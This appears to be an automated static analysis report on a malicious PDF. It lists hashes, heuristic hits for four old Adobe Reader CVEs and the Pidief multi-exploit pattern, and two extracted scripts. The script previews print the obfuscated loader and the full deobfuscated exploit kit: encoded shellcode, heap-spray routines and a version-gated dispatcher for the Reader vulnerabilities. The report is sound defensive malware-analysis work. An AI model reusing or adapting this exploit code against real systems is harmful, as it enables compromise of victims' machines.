Malicious PDF — malware analysis report

Static analysis result for SHA-256 edcd4b2296cc997f…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-08
MD5: 7a2bb01586b3058924f61a3f820d5065 SHA-1: bb885166e116f680655be912fe4bc20c489294ed SHA-256: edcd4b2296cc997fa2efd20a30fd48e49100e2fc4c69580c5101c45893f86e41
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB006 534 bytes
SHA-256: d9441292e3d716371a6afd48daf68ca368a68804294b96f1d80fbe9a077d0695
Preview script
First 1,000 lines of the extracted script
cobqc='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('rsywe=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=rsywe[v+a[6]](10,4);
s+='tr';
vtley=e('S'+'tring.fro'+rsywe[s](1,9));
q=rsywe[s](14);
sjcj = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=sjcj.length');
for (i = 0; i < k; i+=2) {
	nsyjz = sjcj[i+1] + ('erybjkerl',sjcj[i]);
	cobqc += vtley(nsyjz);
}
e(cobqc);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3660 bytes
SHA-256: feabcf2d6f74087f854a5b64fb884666671772ac474899647c78a32c5f282361
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3eb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u8434%ue2aa%uc3fa%ue5e8%uffff%u6dff%u8588%u8484%u05da%ud868%u8485%u0d84%u0963%u94cb%ueb09%ub5d0%ud35f%ud7d5%ud7d7%ud7d7%ud7d7%ud7d1%uecd7%u8580%u8484%ud2d1%uecd7%ueaeb%u8484%uf1ec%ue8f6%ud0e9%u0aec%u8aca%u6c68%u84cc%u8484%u6cd4%u84f8%u8484%u547b%u4007%uec8c%u6bcb%u81cb%u6cd4%u84e8%u8484%u547b%u4401%u93f1%ud0ee%u77dd%uec2e%u7af6%u9237%u996c%u8484%ud484%ud56c%u8484%u7b84%ud754%u7aee%u0dec%u85eb%u6c39%u848c%u8484%u6cd4%u84b8%u8484%u547b%ub5e4%ue044%ud40f%u0fb4%u88d6%ud60f%u0f90%uacf6%u9c3d%u8484%ub584%ub57b%u2844%ue5b8%u86f8%ua4a8%u4b45%u8589%u6643%u0574%udf7b%uce38%u0fee%u94c6%u960f%u5df1%uc00d%u98a0%u47e5%u0fe4%ua0e8%u0fa0%ub8c1%ud00f%ufc81%u6e85%uce0f%u0f9c%ua4de%u6f85%ub067%u0fcd%u0fb0%u6a85%u7bb5%u44b5%u2878%u4400%u83f0%u4b45%u8589%u6f43%ubf70%ua0f8%uf1ac%u0f65%ua0de%u6f85%u0fe2%ucf88%ude0f%u8598%u0f6f%u0f80%u6c85%uc00d%u98a0%u46e5%u848c%u6b6c%u7b7a%uec7b%uf0f0%ubef4%uabab%uebe6%ueaf6%ue5e6%uebf6%ufcea%ue7aa%ue9eb%ue6ab%uabec%uaae0%uecf4%ubbf4%ub9e2%ub2b5%ue1a2%ub1b9%u0084';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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